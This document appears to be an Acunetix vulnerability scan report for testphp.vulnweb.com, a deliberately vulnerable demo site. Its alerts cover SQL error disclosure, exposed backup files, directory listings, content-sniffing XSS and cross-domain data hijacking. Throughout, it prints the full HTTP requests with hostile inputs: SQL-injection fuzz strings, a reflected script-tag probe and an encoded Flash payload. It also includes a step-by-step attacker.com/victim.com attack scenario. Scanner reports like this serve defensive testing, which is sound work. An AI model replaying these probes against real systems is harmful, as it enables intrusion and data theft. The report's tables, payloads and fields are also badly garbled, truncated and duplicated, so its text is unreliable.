Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

Recommendations
Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

Alert variants
URL encoded POST input uaddress was set to 12345\n\n\n%00%0d%0a%00>%bf%27δι

Pattern found:
You have an error in your SQL syntax
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 131
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

taddr=12345"\"\")|]*%00(/*d%0a<%00>%bf%27\;😢
&ucc=777&uemail=matheusdaocu40gmail.com&update=update&uphone=%2B555%206666666666

<table>
<thead>
<tr>
<th>/userinfo.php</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
</tr>
<tr>
<td><strong>Description</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
</tr>
<tr>
<td><strong>Alert variants</strong></td>
</tr>
<tr>
<td><strong>Details</strong></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>Alert group</td>
</tr>
<tr>
<td>---------------------</td>
</tr>
<tr>
<td>Severity</td>
</tr>
<tr>
<td>Description</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>Recommendations</td>
</tr>
<tr>
<td>Alert variants</td>
</tr>
<tr>
<td>Details</td>
</tr>
</tbody>
</table>

URL encoded POST input uemail was set to 12345'\"';]]*%00{%0d%0a<%00>%bf%27'ð¡&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%2066666666666

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 825
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=
<div id="content">%0D%A0%09<div%20id="content">%0D%A0%09<h3>If you are already registered please enter your login information below:</h3><br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="/userinfo.php">%0D%A0%09<table%20cellpadding="4"%20cellspacing="1">%0D%0A%09<tr><td>Username%20:%20</td><td><input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td></tr>%0D%0A%09<tr><td>Password%20:%20</td><td><input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td></tr>%0D%0A%09<tr><td%20colspan="2"%20align="right"><input%20type="submit"%20value="login"%20style="width:75px;">%0D%0A%09</tr></table>%0D%09</form>%0D%0A%09</div>

Alert group | Application error message
---|---
Severity | Medium

**Description**

This alert requires manual confirmation

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

**Recommendations**

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

**Alert variants**

Details | URL encoded POST input **uphone** was set to 12345"\";]|]*00\0d\0a<\00>\bf\27\82\82 |
---|---
Pattern found:

You have an error in your SQL syntax
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 831
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

uaddress=
<br%
<td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;">%0D%0A%09%09</td>
</tr>%0D%0A%09%09</table>%0D%0A%09%09</form>%0D%0A%20%09</div>&ucc=777&uemail=matheusdaocu40@gmail.com&update=update&uphone=12345''"\";|]*%00{%0d%0a<%00>%bf%27\ör

---

### /userinfo.php

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Application error message</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
</tbody>
</table>

**Description**

This alert requires manual confirmation

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

**Recommendations**

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

**Alert variants**

Details

URL encoded POST input `urname` was set to 12345"\";|]*%00{%0d%0a<%00>%bf%27\ör

Pattern found:

You have an error in your SQL syntax

---
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 857
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

```html
uaddress=

<!-- Snippet of HTML code -->

```

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Backup files</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>A possible backup file was found on your web-server. These files are usually created by developers to backup their work.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>This file was found using the pattern <code>${fileName}.bak</code>. Original filename: <code>index.php</code></td>
</tr>
<tr>
<td>Pattern found</td>
<td></td>
</tr>
</tbody>
</table>
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859">
<title>Home of WASP Art</title>
<link rel="stylesheet" href="style.css" type="text/css">
<script language="JavaScript" type="text/JavaScript">
function MM_reloadPage(init) {  //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&((pars
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresiz
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_p
MM_reloadPage(true);
//-->
</script>
</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
<h1 id="siteName">ACUNETIX ART</h1>
<h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vul</h6>
<div id="globalNav">
<a href="index.php">home</a> | <a href="categories.php">categori</a> | <a href="disclaimer.php">disclaimer</a> | <a href="ca</a>
<a href="guestbook.php">guestbook</a></div>
</div>
<!-- end masthead --
<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
<h2 id="pageName">welcome to our page</h2>
<div class="story">
<h3>Test site for WASP.</h3>
</div>
</div>
<!-- InstanceEndEditable -->
</div>
</body>
</html>
GET /index.bak HTTP/1.1
Range: bytes=0-99999
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/index.zip

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Backup files</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>A possible backup file was found on your web-server. These files are usually created by developers to backup their work.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.</td>
</tr>
</tbody>
</table>

Alert variants

Details
This file was found using the pattern $fileName.zip.
Original filename: index.php
This page is possibly vulnerable to Cross domain data hijacking. If an attacker can create/upload a malicious Flash (SWF) file or control the top part of any page he can perform an attack known as **Cross domain data hijacking**. The Content-Type of the response doesn't matter. If the file is embedded using an `<object>` tag, it will be executed as a Flash file as long as the content of the file looks like a valid Flash file.

Here is the attack scenario:

- An attacker creates a malicious Flash (SWF) file
- The attacker changes the file extension to JPG
- The attacker uploads the file to victim.com
- The attacker embeds the file on attacker.com using an tag with type "application/x-shockwave-flash"
- The victim visits attacker.com, loads the file as embedded with the tag
- The attacker can now send and receive arbitrary requests to victim.com using the victims session
- The attacker sends a request to victim.com and extracts the CSRF token from the response

There are many ways to perform this attack. The attacker doesn't need to upload a file. The only requirement is that an attacker can control the data on a location of the target domain. One way is to abuse a JSONP API. Usually, the attacker can control the output of a JSONP API endpoint by changing the callback parameter. However, if an attacker uses an entire Flash file as callback, we can use it just like we would use an uploaded file in this attack.

A payload could look like this:

```html
<object style="height:1px; width:1px;" data="http://victim.com/user/j
```
Recommendations

For file uploads: It is recommended to check the file’s content to have the correct header and format. If possible, use "Content-Disposition: attachment; filename=Filename.Extension;" header for the files that do not need to be served in the web browser. Isolating the domain of the uploaded files is also a good solution as long as the crossdomain.xml file of the main website does not include the isolated domain.

For other cases: For JSONP abuses or other cases when the attacker control the top part of the page, you need to perform proper input filtering to protect against this type of issues.

Alert variants

URL encoded GET input `p` was set to

```
CWS%07%0E000x%9C=%8D1N%C3%40%10E%DF%AE%8D%BDI%08)%D3%40%1D%A0%A2%05%09%11%89HiP"%05D%8B%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04x;IS%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2.%F8%01>%9E%18p%C9c%9A1%8B%ACzG%F2%DC%BEM%EC%Abdkj%E%AC%2C%9F%A5(%B1%EB%89T4C2J)%93"%DBT7%24%9C%8F%CBD6)%A3%0Bx)%AC%AD%8%92%FB%1F%5C%07%C%7C%80Q%A7Nc%4b%E8%FA%98%26%1C%9F5%20h%F1%Dg%0F%14%C1%0A}s%8D%8BQ%A8L%9B6%D4L%BD%A8w%7E%9D%17%F3[%DCm(%EF%CB%EF%E6%8D:n-%FB%B3%C3%DD.%E3d1d%EC%7%3F6%CD0%09.
```

The value is reflected at the top of the page.

GET /hpp/params.php?
p=CWS%07%0E000x%9C=%8D1N%C3%40%10E%DF%AE%8D%BDI%08)%D3%40%1D%A0%A2%05%09%11%89HiP"%05D%8B%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04x;IS%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2.%F8%01>%9E%18p%C9c%9A1%8B%ACzG%F2%DC%BEM%EC%Abdkj%E%AC%2C%9F%A5(%B1%EB%89T4C2J)%93"%DBT7%24%9C%8F%CBD6)%A3%0Bx)%AC%AD%8%92%FB%1F%5C%07%C%7C%80Q%A7Nc%4b%E8%FA%98%26%1C%9F5%20h%F1%Dg%0F%14%C1%0A}s%8D%8BQ%A8L%9B6%D4L%BD%A8w%7E%9D%17%F3[%DCm(%EF%CB%EF%E6%8D:n-%FB%B3%C3%DD.%E3d1d%EC%7%3F6%CD0%09 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/showimage.php

Alert group Cross site scripting (content-sniffing)

Severity Medium

Description This script is possibly vulnerable to Cross Site Scripting (XSS) attacks.

Cross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.

Recommendations Your script should filter metacharacters from user input.

Alert variants
This type of XSS can only be triggered on (and affects) content sniffing browsers.

URL encoded GET input file was set to `.pictures/1.jpg"('%26%25<acx><ScRiPt>R56e(9502)</ScRiPt>&size=160 HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/.idea/

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td><code>&lt;title&gt;Index of /.idea/&lt;/title&gt;</code></td>
</tr>
</tbody>
</table>

GET /.idea/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/.idea/scopes/

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>----------</td>
<td>--------</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the website.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>

### Details

Pattern found:

```html
<title>Index of /.idea/scopes/</title>
```

GET /_.idea/scopes/ HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

### `_mmServerScripts/`

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the website.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>

### Details

Pattern found:

```html
<title>Index of /_mmServerScripts/</title>
```
<table>
<thead>
<tr>
<th>/admin/</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>Medium</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>/Connections/</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>Medium</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td><strong>Recommendations</strong></td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>
Alert variants

Details

Pattern found:
<title>Index of /Connections/</title>

GET /Connections/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/CVS/

Alert group Directory listing (verified)
Severity Medium
Description The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

Alert variants

Details

Pattern found:
<title>Index of /CVS/</title>

GET /CVS/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/Flash/

Alert group Directory listing (verified)
Severity Medium
<table>
<thead>
<tr>
<th>Description</th>
<th>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>&lt;title&gt;Index of /Flash/&lt;/title&gt;</td>
</tr>
<tr>
<td>GET /Flash/ HTTP/1.1</td>
<td></td>
</tr>
<tr>
<td>Cookie: login=test%2Ftest</td>
<td></td>
</tr>
<tr>
<td>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
<td></td>
</tr>
<tr>
<td>Accept-Encoding: gzip, deflate</td>
<td></td>
</tr>
<tr>
<td>Host: testphp.vulnweb.com</td>
<td></td>
</tr>
<tr>
<td>User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0</td>
<td></td>
</tr>
<tr>
<td>Connection: Keep-alive</td>
<td></td>
</tr>
<tr>
<td>/images/</td>
<td></td>
</tr>
<tr>
<td>Alert group</td>
<td>Directory listing (verified)</td>
</tr>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>&lt;title&gt;Index of /images/&lt;/title&gt;</td>
</tr>
<tr>
<td>GET /images/ HTTP/1.1</td>
<td></td>
</tr>
<tr>
<td>Cookie: login=test%2Ftest</td>
<td></td>
</tr>
<tr>
<td>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,<em>/</em>;q=0.8</td>
<td></td>
</tr>
<tr>
<td>Accept-Encoding: gzip, deflate</td>
<td></td>
</tr>
<tr>
<td>Host: testphp.vulnweb.com</td>
<td></td>
</tr>
<tr>
<td>User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0</td>
<td></td>
</tr>
<tr>
<td>Connection: Keep-alive</td>
<td></td>
</tr>
<tr>
<td>Alert group</td>
<td>Directory listing (verified)</td>
</tr>
<tr>
<td>------------------</td>
<td>----------------------------------------------</td>
</tr>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>

**Details**

Pattern found:

```html
<title>Index of /Mod_Rewrite_Shop/images/</title>
```

GET /Mod_Rewrite_Shop/images/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>

**Details**

Pattern found:

```html
<title>Index of /pictures/</title>
```
GET /pictures/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/html;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/Templates/
<table>
<thead>
<tr>
<th>Alert group</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>

Alert variants

Details
Pattern found:
<title>Index of /Templates/</title>

GET /Templates/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/html;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

/wvstests/
<table>
<thead>
<tr>
<th>Alert group</th>
<th>Directory listing (verified)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
</tbody>
</table>
Alert group: Directory listing (verified)
Severity: Medium
Description: The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.
Recommendations: You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.

Alert variants

Pattern found:
<title>Index of /wvstests/</title>

GET /wvstests/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

Pattern found:
<title>Index of /wvstests/pmwiki_2_1_19/</title>

GET /wvstests/pmwiki_2_1_19/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
<table>
<thead>
<tr>
<th>Severity</th>
<th>Medium</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>&lt;title&gt;Index of /wvstests/pmwiki_2_1_19/scripts/&lt;/title&gt;</td>
</tr>
</tbody>
</table>

GET /wvstests/pmwiki_2_1_19/scripts/ HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

AJAX/infoartist.php
<table>
<thead>
<tr>
<th>Alert group</th>
<th>Error message on page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td></td>
<td>Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.</td>
</tr>
<tr>
<td></td>
<td>Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.</td>
</tr>
<tr>
<td>Alert variants</td>
<td></td>
</tr>
<tr>
<td>Details</td>
<td>Pattern found:</td>
</tr>
<tr>
<td></td>
<td>&lt;b&gt;Warning&lt;/b&gt;: mysql_fetch_array() expects parameter 1 to be resource</td>
</tr>
</tbody>
</table>
```plaintext
GET /AJAX/infoartist.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest;mycookie=3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

<table>
<thead>
<tr>
<th>Alert group</th>
<th>Error message on page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Alert group</td>
<td>Error message on page</td>
</tr>
<tr>
<td>Severity</td>
<td>Medium</td>
</tr>
<tr>
<td>Description</td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td></td>
<td>Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.</td>
</tr>
<tr>
<td></td>
<td>Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.</td>
</tr>
<tr>
<td>Recommendations</td>
<td>Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.</td>
</tr>
<tr>
<td>Alert variants</td>
<td>Pattern found:</td>
</tr>
<tr>
<td>Details</td>
<td>`&lt;b&gt;Warning&lt;/b&gt;: mysql_fetch_array() expects parameter 1 to be resource</td>
</tr>
</tbody>
</table>

```
GET /AJAX/infocateg.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7b357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest;mycookie=3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

<table>
<thead>
<tr>
<th>/AJAX/infotitle.php</th>
<th>Error message on page</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Alert group</strong></td>
<td><strong>Medium</strong></td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>This alert requires manual confirmation</td>
</tr>
<tr>
<td><strong>Description</strong></td>
<td>Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.</td>
</tr>
